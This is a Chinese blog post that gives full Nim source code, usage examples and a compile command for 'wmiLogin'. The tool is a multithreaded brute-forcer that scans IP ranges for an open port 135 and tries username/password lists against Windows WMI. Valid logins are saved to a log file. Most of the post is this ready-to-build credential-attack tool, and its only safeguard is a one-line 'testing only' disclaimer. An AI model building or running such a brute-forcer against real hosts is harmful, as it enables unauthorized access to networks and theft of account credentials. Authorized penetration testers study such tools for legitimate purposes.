• WMI密码批量爆破(nim学习系列)


    WMI密码批量爆破

    先探测目标 IP 地址 135 端口是否开放,后进行密码的扫描。调用 swbemlocator 对象连接目标,然后根据响应信息,判断账密是否正确。除了输出扫描过程,发现的正确账号密码会保存到当前工作目录下的wmilogin.log 文件中。

    用法

    Usage: wmiLogin.exe 192.168.1.111
    Usage: wmiLogin.exe 10.10.10.0/24
    Usage: wmiLogin.exe 172.10.1.1-172.10.8.254
    Usage: wmiLogin.exe 192.168.1.111,10.10.0.0/23
    Usage: wmiLogin.exe ip.txt

    IP地址的输入支持单个IP和CIDR 还有 IP地址范围。

    账号密码的输入支持两种格式。

    第一种,user.txt(存放用户名) 和 pass.txt(存放密码)。

    第二种, userpass.txt(一行一对账号密码,用空格间隔,比如:administrator 123456)。

    如果以上文件同时存在,优先选择第二种。

    编译:nim c -d:release --opt:size --threads=on wmiLogin.nim

    备注:本博客的代码仅作为测试目的,不能保证代码的兼容性和健壮性。

    截图

    源代码

    #[
        Author: StudyCat
        Blog: https://www.cnblogs.com/studycat
        Github: https://github.com/StudyCat404/myNimExamples
        License: BSD 3-Clause
    ]#
    import winim/com
    import os
    import strutils
    import strformat
    import terminal
    import net
    import winim/inc/winnls
    import threadpool
    import ip_seg
    import times
    
    let time = cpuTime()
    
    type
        STATUS* = enum
            Error, Success, Info
    
    proc printC(stat: STATUS, text: string) = 
        case stat
        of Error:
            stdout.styledWrite(fgRed, "[-] ")
        of Success:
            stdout.styledWrite(fgGreen, "[+] ")
        of Info:
            stdout.styledWrite(fgYellow, "[*] ")
        echo text
        
    proc log(content: string) =
        echo content
        let logFilename = "wmiLogin.log"
        var logFile: File
        logFile = open(logFilename, fmAppend)
        logFile.writeLine(content)
        logFile.close()
        
    proc telnet(host: string): bool =
        var socket = newSocket()
        try:
            socket.connect(host, Port(135), timeout=2000)
            return true
        except:
            #printC Error, fmt"{host}:135 close rpc"
            echo fmt"{host}:135 close rpc"
            return false
        finally:
            socket.close()    
            
    proc ipParser(somestr: string): seq[string] =
        var nodes: seq[string]
        if fileExists(somestr):
            for line in somestr.lines:
                nodes.add(line)
        else:
            nodes.add(somestr.split(','))
    
        for node in nodes:
            if isIpAddress(node):
                result.add(node)
            elif node.contains("-"):
                let
                    range1 = node.split("-")[0]
                    range2 = node.split("-")[1]
                if isIpAddress(range1) and isIpAddress(range2):
                    result.add(calc_range(range1, range2))
            elif node.contains("/"):
                result.add(calc_range(node))
            else:
                echo "Fomat error: ", node
        if result.len() > 0:
            return result
        else:
            quit(-1)
    
    #SWbemLocator: User credentials cannot be used for local connections
    #SWbemLocator: Access is denied.
    #SWbemLocator: The RPC server is unavailable.
    proc wmiLogin(host, user, pass: string) {.thread.} =
        var objLocator = CreateObject("wbemscripting.swbemlocator")
        #1033 en #2052 cn
        var 
            errorMsgA, errorMsgB: string
        if GetSystemDefaultLangID() == 2052:
            errorMsgA = "SWbemLocator: RPC 服务器不可用。"
            errorMsgB = "SWbemLocator: 用户凭据不能用于本地连接"
        else:
            errorMsgA = "SWbemLocator: The RPC server is unavailable."
            errorMsgB = "SWbemLocator: User credentials cannot be used for local connections"        
            
        try:
            var SubobjSWbemServices = objLocator.connectServer(host, "root\\cimv2", user, pass, "MS_409", "", 128)
            discard SubobjSWbemServices.InstancesOf("Win32_Service")
            log(fmt"[+] {host} - '{user}':'{pass}' Successfully logged on!"  ) 
        except:
            #echo getCurrentCOMError().hresult
            #echo getCurrentException().msg
            if strip(getCurrentException().msg) == errorMsgA or strip(getCurrentException().msg) == errorMsgB:
                # printC Success, fmt"{host} - '{user}':'{pass}' Successfully logged on!"
                log(fmt"[+] {host} - '{user}':'{pass}' Successfully logged on!")
            else:
                echo fmt"[-] {host} - '{user}':'{pass}' Login failed"
    
    proc doWmiLogin(host: string, userpass: seq[tuple[user, pass: string]]) {.thread.} =
        if telnet(host):
            for credential in userpass:
                wmiLogin(host, credential.user, credential.pass)
                
    proc doWmiLogin(host: string, users, passes: seq[string]) {.thread.} =
        if telnet(host):
            for user in users:
                for pass in passes:
                    wmiLogin(host, user, pass)
                
    proc main() =
        if  paramCount() == 0 or paramStr(1) in ["-h","/?","help"]:
            let pathSplit = splitPath(paramStr(0))
            echo "Usage: ", pathSplit.tail, " 192.168.1.111" 
            echo "Usage: ", pathSplit.tail, " 10.10.10.0/24" 
            echo "Usage: ", pathSplit.tail, " 172.10.1.1-172.10.8.254" 
            echo "Usage: ", pathSplit.tail, " 192.168.1.111,10.10.0.0/23" 
            echo "Usage: ", pathSplit.tail, " ip.txt"
            quit()
        
        let hosts = ipParser(paramStr(1))
        
        if fileExists("userpass.txt"):
            var credential: tuple[user, pass: string]
            var userpass: seq[tuple[user, pass: string]]
            try:
                for line in "userpass.txt".lines:
                    let t = split(line, " ", 1)
                    credential.user = t[0]
                    credential.pass = t[1]
                    userpass.add(credential)
            except:
                echo getCurrentExceptionMsg()
                quit()
                
            for host in hosts:
                spawn doWmiLogin(host,userpass)
            
        elif fileExists("user.txt") and fileExists("pass.txt"):
            var users: seq[string]
            var passes: seq[string]
            for line in "user.txt".lines:
                users.add(line)
            for line in "pass.txt".lines:
                passes.add(line)
            
            for host in hosts:
                spawn doWmiLogin(host, users, passes)
    
        else:
            echo "userpass.txt not found"
            echo "user.txt or pass.txt not found"
            quit()        
        
        sync()
        echo "Time taken: ", cpuTime() - time, "s"
        
    when isMainModule:
        when defined windows:
            main()
    

    向k8gege学习: http://k8gege.org/Ladon/WmiScan.html

  • 相关阅读:
    在一台Linux服务器上安装多个MySQL实例(二)--使用单独的MySQL配置文件
    在一台Linux服务器上安装多个MySQL实例(一)--使用mysqld_multi方式
    MySQL复制(四)--多源(主)复制
    MySQL复制(三)--基于全局事物标识符(GTID)配置复制
    类加载机制详解
    字符串常量池理解
    JVM内存模型
    Java设计模式之单例模式
    forkjoin及其性能分析,是否比for循环快?
    集合排序Comparable和Comparator有什么区别?
  • 原文地址:https://www.cnblogs.com/StudyCat/p/14386787.html
Copyright © 2020-2023  润新知